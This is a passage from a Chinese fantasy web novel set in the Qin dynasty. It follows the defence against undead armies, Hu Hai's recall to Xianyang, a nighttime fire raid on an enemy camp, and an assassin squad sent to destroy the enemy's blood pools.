蒙恬所部在经历数日惨烈的梯次阻击后,终于在这一日拂晓,于落鹰涧一线稳住了阵脚!
火雨玛瑙打造的特制箭矢虽依旧珍贵,但后续的补充已源源不断送至前线。
此刻,晨光熹微中,只见一道道暗红色的流光划破昏沉的天空,如同复仇的火鸦,精准地扑向那些汹涌而来的灰黑色潮汐!
箭矢落处,不死士兵身上翻涌的死气如同沸汤泼雪,发出“嗤嗤”的侵蚀之声!
伴随着凄厉不似人声的惨嚎,大片大片的鬼兵在净化之力下化作焦黑的枯骨,散落一地。
防线不再是单纯的固守。
装备了镶嵌玛瑙碎片兵刃与盾牌的重甲锐士,在**箭的掩护下,开始结成紧密的阵型!
如同移动的金属堡垒,向前稳步推进!
战刀劈砍,长矛突刺。
每一次攻击,都带着灼热的净化气息,将试图攀上阵地的鬼兵狠狠斩落!!
而战场上空。
原本一直压抑着守军的无形精神冲击,似乎也因这凌厉的反击而减弱了几分!
更远处,从西北各边城驰援而来的秦军部队,如同数条汇入主干的溪流,沿着预设的通道,迅速向东南防线增援!
骑兵的马蹄踏起滚滚黄尘!
步兵的行进扬起蔽日的土灰!
兵甲碰撞之声,战旗猎猎之响,与前方战场的厮杀声交织在一起!
……
北地。
胡亥那略显空旷的临时府邸内。
气氛与西北边疆的炽热截然不同。
一种冰冷的凝滞充斥在空气里。
胡亥独自站在窗前,望着窗外北地郡略显荒凉的景致,目光似乎穿过了城池,投向了更远的西北方向。
那里,有他曾经试图掌控的北疆,更有他野心曾试图染指的西域!
他甚至可以凭借武者敏锐的感知,隐约察觉到远方天地间那股骤然变得激烈,充满攻伐之意的气机变动!
那是赢子夜的**开始了!
一丝极淡而混杂着不甘与怨愤的扭曲表情,在他眼底一闪而逝!
他苦心孤诣,甚至不惜与头曼那条老狼虚与委蛇,才在北疆营造出的大好局面!
竟在短短数日间,土崩瓦解!!
赢子夜……
他的好六哥,手段竟如此狠辣果决!
就在这时。
府外传来一阵沉稳而规律的脚步声,打破了室内的寂静。
一名侍从快步而入,低声禀报。
“公子,丞相李斯奉陛下旨意已至府外!”
胡亥身形几不可察地微微一僵!
他缓缓转过身,脸上所有的不甘与阴鸷已在瞬间收敛得干干净净。
取而代之的是一种恰到好处的恭谨,与一丝未能平定北疆匪患的遗憾。
李斯的身影出现在门口!
他身着玄色官袍,面容清癯,眼神深邃难测,手中捧着一卷缠绕金线玄鸟的漆黑绢帛。
他并未多言,只是平静地展开圣旨。
用那不带太多感**彩的特有声调宣读。
“始皇帝诏曰:皇子胡亥,前赴北疆,本为历练,协防边务。”
“今闻北疆匪患已定,匈奴溃散,边事稍宁。”
“特诏皇子胡亥,即刻返归咸阳,述职听用。”
“钦此!!”
诏书内容简洁,甚至未曾提及他之前的功劳,也未曾苛责他未能竟全功。
只是以一种不容置疑的平静,将他召回那个权力中心!
“儿臣……领旨谢恩。”
胡亥深深叩拜下去,声音平稳,听不出丝毫波澜!
当他抬起头时,目光再次不由自主地扫过西北方向。
那一眼,复杂难明!
有野心未酬的刺痛,有布局成空的愤懑,更有一种被强行剥离出棋局的不甘!!
他沉默地站起身,跟在李斯身后,向府外停驻的车驾走去。
步伐看似从容,但那垂在宽大袖袍中的双手,却已悄然紧握成拳,指甲深深嵌入肉中。
车驾缓缓启动,驶离北地郡。
向着咸阳方向而去。
胡亥坐在车内,最后一次掀开车帘,回望那片他曾经试图作为崛起之基的广袤土地。
风沙掠过原野。
远山沉默如亘古……
……
塞外的风裹挟着砂砾。
吹过官道旁的临时军帐,发出呜咽般的轻响!
赢子夜独立于巨大的西域沙盘前,目光如凝实质,缓缓扫过上面犬牙交错的势力标记。
沙盘旁。
两份刚刚送达的军报静静地躺着。
一份来自蒙犽,一份来自蒙恬,仿佛带着截然不同的温度!
他先拿起蒙犽那份。
展开绢帛,字里行间透着一股锐气与酣畅!
雷殛军依令全线压上后,凭借火雨玛瑙兵器的犀利,连破大月氏三处外围据点!
斩获颇丰,士气如虹!
捷报的末尾,蒙犽甚至提及是否要分兵驻守新夺下的城池,以巩固战线。
赢子夜指尖轻轻拂过军报上“连克三城”的字样,眼中却并无多少占领土地的喜悦,反而掠过一丝了然。
他提起朱笔,在回令的绢帛上缓缓书写,字迹沉稳而有力!
“令蒙犽所部:攻势不改,全力进击!”
“所克之城,毋需分兵驻守,掳其粮秣,毁其工事即可!”
“大月氏若亡,西域**疆土,自当归秦!”
“汝部当前要务,乃持续施压,迫使乌孙陀罗分兵,以解蒙恬之困。”
他放下笔,将回令交给身旁静候的传令兵。
目光随即落向另一份军报——
来自蒙恬。
这份军报的绢帛边缘,甚至带着些许磨损和暗沉的颜色,仿佛沾染了前线的硝烟与血污。
展开一看,内容果然沉重!
尽管已按照既定策略节节阻击。
但大月氏主力在乌孙陀罗的疯狂驱使下,进攻势头有增无减!
军报中,详细描述了不死军团在数位圣士督战下,如何不计伤亡地冲击着落鹰涧至一线天的新防线!
蒙恬麾下的将士,虽倚仗地利与特制兵器苦苦支撑。
但伤亡数字仍在攀升!
防线多处告急,全凭一股意志在硬抗!
字里行间,透出蒙恬那钢铁般意志下的深深疲惫与压力。
“果然如此……”
赢子夜低声自语,指尖无意识地在沙盘上代表蒙恬防线的那片区域划过。
乌孙陀罗这是孤注一
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掷!
试图在秦军全面反扑,后方未稳之前,强行撕开东南通道!
一切,都在预料之中。
但前线的惨烈,仍让他心头微沉!
他沉吟片刻,并未立刻下达新的指令。
而是转向侍立一旁的赵弋苍。
“公输先生到了吗?”
“回主上,公输先生已在帐外候命多时。”
“请他进来。”
片刻后,公输仇那略显佝偻却精神矍铄的身影步入帐内。
他身上还带着工匠坊特有的金属与炭火气息。
不待赢子夜发问,他便拱手禀报。
“殿下,新一批火雨玛瑙箭矢已打造完毕,共计八千支,长矛五百杆,盾牌两百面,均已检验无误,随时可以运往蒙恬将军处。”
赢子夜微微颔首。
这个数量,虽不足以彻底扭转战局,但已是石堡城工匠们日夜赶工的成果。
足以缓解蒙恬的燃眉之急。
他目光扫过公输仇呈上的兵器清单,心中已有计较。
“很好。”
他声音平稳。
“其中六千箭矢,四百长矛,一百五十盾牌,即刻起运,以最快速度送至蒙恬军中。”
公子夜顿了顿,手指在清单上轻轻一点,话锋微转!
“至于剩下的两千箭矢,一百长矛,五十盾牌……”
“以及,按之前图纸打造的那批特制**与佩剑,暂且留下!”
公输仇眼中闪过一丝不易察觉的疑惑。
但并未多问,只是恭敬应道:“诺。”
赢子夜抬眸,目光似乎穿透了营帐,望向了遥远而未知的大月氏腹地。
“让昭鞅来见我。”
他轻声吩咐,语气却带着一种冰冷的决断。
不多时。
一身黑衣,气息如同出鞘利剑的暗河副统领昭鞅,悄无声息地出现在帐中阴影处。
自泰山玉皇顶解开苍龙七宿之谜,邪魔胜七授首后。
这一年来,昭鞅及其麾下血鸦卫,亦跟随暗河大部分队伍涌入北疆和西域。
并分散在各处,搜集情报,暗杀敌人,从未懈怠过。
只见赢子夜指向那些被特意留下的兵器。
尤其是那些更适合隐秘行动,闪烁着暗红流光的**与佩剑!
“这些,交由你手下的血鸦。”
“你的任务,是带领血鸦最精锐的好手,以此为凭,穿插至大月氏腹地!”
他走到沙盘前,手指重重地点在代表黑石堡后方的几处区域。
那里,被标记着模糊的骷髅印记!
根据逆流沙墨玉麒麟不惜代价传回的零碎情报,那里极有可能存在着维系不死军团存在的关键——
转化死气的血池!!!
“墨玉麒麟会为你们提供尽可能准确的情报。”
“你们的任务只有一个!”
“找到这些血池,然后……彻底摧毁!”
昭鞅冰冷的眼神中骤然爆发出一点寒星。
他舔了舔有些干涩的嘴唇,如同嗅到血腥味的猎豹!
没有多余的废话,他只是微微躬身。
“血鸦,领命。”
赢子夜看着他,最后叮嘱道:“此行凶险,远胜正面战场。”
“不必贪功,一击即走,以破坏为首要!”
“我要让乌孙陀罗……后院起火!!”
昭鞅重重点头,身影随即融入阴影,如同从未出现过。
第452章 那就将他们葬在这里!
“敌袭——!”
凄厉变调的示警声终于划破夜空!
但为时已晚!
拒马被狂暴的战马撞飞!
简陋的营栅在铁骑的冲击下如同纸糊般碎裂!
李锋一马当先,马槊化作一道索命的黑红闪电,精准地挑飞一个刚从帐篷里冲出来,衣甲不整的精绝将领!
他身后的骑兵如同烧红的尖刀切入凝固的油。
铁蹄践踏,刀光挥砍。
肆意收割着生命!
混乱如同瘟疫般在精绝大营中瞬间蔓延开来!
从睡梦中惊醒的士兵惊慌失措!
有的甚至来不及找到兵器,就被呼啸而过的骑兵砍倒。
帐篷被点燃!
火苗初起,映照着一张张惊恐万状,扭曲变形的脸!
军官的呵斥、士兵的哭喊、垂死者的哀嚎、战马的嘶鸣、兵刃的碰撞……
各种声音混杂在一起!
将这片营地变成了血腥的炼狱!
李锋严格执行着蒙恬的将令,并不深入恋战。
他的骑兵在营中反复冲杀,如同梳子般梳理着混乱的敌阵!
重点冲击着那些看似囤积物资的区域,和试图集结的队伍!
每一次冲锋,都带走大片生命,将混乱推向更深的深渊!
就在精绝人的注意力完全被营内的骑兵吸引,混乱达到顶点的时刻。
营寨侧翼。
王薄目光一凛,猛地挥下了手臂!!
“放箭!”
三千**手早已引弓待发!
闻令之下,一片密集的弓弦震鸣响起!!
数千支拖着橘红色尾焰的火箭,如同逆飞的流星雨,划破黑暗的天幕,带着死亡的呢喃,覆盖了精绝大营的后半部分!
“呼——噼啪——!”
火箭落下.
瞬间引燃了帐篷、粮草,以及一切可以燃烧的东西。
火借风势,迅速蔓延开来,很快就连成一片!
冲天的火光将半边天都映成了赤红色!
灼热的气浪翻滚着,吞噬着所能触及的一切!
“步卒,推进!”
“扩大火势!”
王薄冷静下令。
两千步卒如同鬼魅般从阴影中冲出!
他们并不与混乱的敌军近身搏杀!
而是三人一组,熟练地将携带的火油罐奋力抛向火场外围的帐篷和辎重。
或用长杆挑着燃烧物投向更远处。
火油泼洒,遇火即燃!
火墙以肉眼可见的速度向外扩张,无情地吞噬着精绝人赖以生存的物资和逃窜的士兵!
营内,彻底变成了地狱!
前有铁骑冲撞**,后有烈焰疯狂蔓延。
精绝士兵彻底崩溃了!!
他们丢盔弃甲,哭爹喊娘,像无头的苍蝇一样在火海和刀锋间乱窜,自相践踏而死者不计其数!
建制完全被打乱,指挥系统彻底瘫痪!
抵抗?
那只是一个可笑的名词。
此刻,生存是唯一的本能。
李锋见火势已起,敌军已完全丧失斗志,立刻吹响了代表撤退的尖锐骨哨。
五千骑兵如同来时一般迅猛,调转马头,毫不留恋地冲出了已化为巨大火炬的精绝大营,消失在来的方向的黑暗中,只留下身后一片狼藉与冲天烈焰!
王薄看到骑兵信号,也立刻下令步卒交替掩护,迅速撤离战场!
这一夜!
精绝两万大军,立足未稳,便在秦军精准而狠辣的组合打击下,遭受了毁灭性的打击!
目之所及,营寨化为一片焦土!
尸横遍野,焦臭刺鼻!!
幸存者肝胆俱裂。
再也顾不得什么军令,什么财物。
只凭着求生的本能,向着远离秦军防线的黑暗深处亡命溃逃,将恐惧和失败的阴影,深深烙印在灵魂深处。
而远处山脊上。
蒙恬披着大氅,静静地眺望着东南方向那映红夜空的火光。
耳边,仿佛能听到风中传来的细微崩溃与哀嚎声。
他脸上,没有任何表情。
唯有那双深邃的眼眸中,闪过一丝冷冽!
……
黑石堡后方。
一片被死亡气息彻底浸透的荒芜谷地。
这里,仿佛是被天神遗弃的角落。
月光在此地都显得黯淡稀薄。
像是畏惧其中弥漫的某种存在而不敢深入。
空气中,没有戈壁夜间的寒凉,反而浮动着一股温吞的带着浓重铁锈与**甜腻的怪异气味。
吸入肺中,便泛起一股恶心。
地面是诡异的暗红色,寸草不生。
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只有扭曲干枯如骸骨般的灌木枝杈,顽强地刺破地表,指向灰蒙的天空。
十道黑影,如同从地狱裂缝中渗出的墨汁,无声地融入这片死寂的地貌。
他们身着特制的夜行衣,材质吸收一切光线,移动时几乎不带动气流。
脸上覆盖着没有任何纹路的黑色面具,只露出一双双眼睛。
那是毫无温度,毫无波动的眼眸。
如同深冬冻湖的冰层,反射不出任何光彩。
只有纯粹的死寂与专注!
这便是暗河最锋利的刃——
血鸦卫!!
而引领这柄利刃的,正是副统领昭鞅。
昭鞅走在最前。
他的气息比血鸦卫更加内敛,更加危险。
他没有佩戴标志性的脸谱面具。
此刻的他,就是最纯粹的杀戮工具。
他微微抬手,整个小队如同被无形的丝线操控,瞬间静止,完美地隐藏在几块风化巨石的阴影中,连呼吸声都微不可闻!
他锐利的目光扫过前方。
谷地的深处。
隐约可见一些简陋却透着邪气的石砌建筑轮廓。
以及影影绰绰,周身缭绕着稀薄死气的巡逻守卫。
那里,就是逆流沙的墨玉麒麟,以巨大代价传回的模糊情报中,标记的疑似“血池”所在地之一!
昭鞅从贴身的皮囊中,取出一枚不过指甲盖大小,色泽温润的白色玉片。
这是墨玉麒麟以阴阳家秘法炼制的“灵犀引”。
能在一定范围内,感应到同源死气或特殊能量汇聚的源头。
他将其轻轻握在掌心。
一股微弱冰凉的刺痛感,顺着经络蔓延,指引着一个明确的方向。
位于那片建筑群偏左后方。
一个看似不起眼,如同巨大坟冢般的隆起之地。
“确认目标区域。”
昭鞅的声音通过内力压缩成一线,传入身后每一位血鸦卫的耳中,冰冷得不带丝毫人类情感。
“甲组,清除外围流动哨。”
“乙组,解决固定岗。”
“丙组,随我潜入核心!”
“动作要快,无声。”
没有回应,只有九双冰封般的眼眸中,同时掠过一丝极淡的血色!
那是杀戮欲望被点燃的征兆!!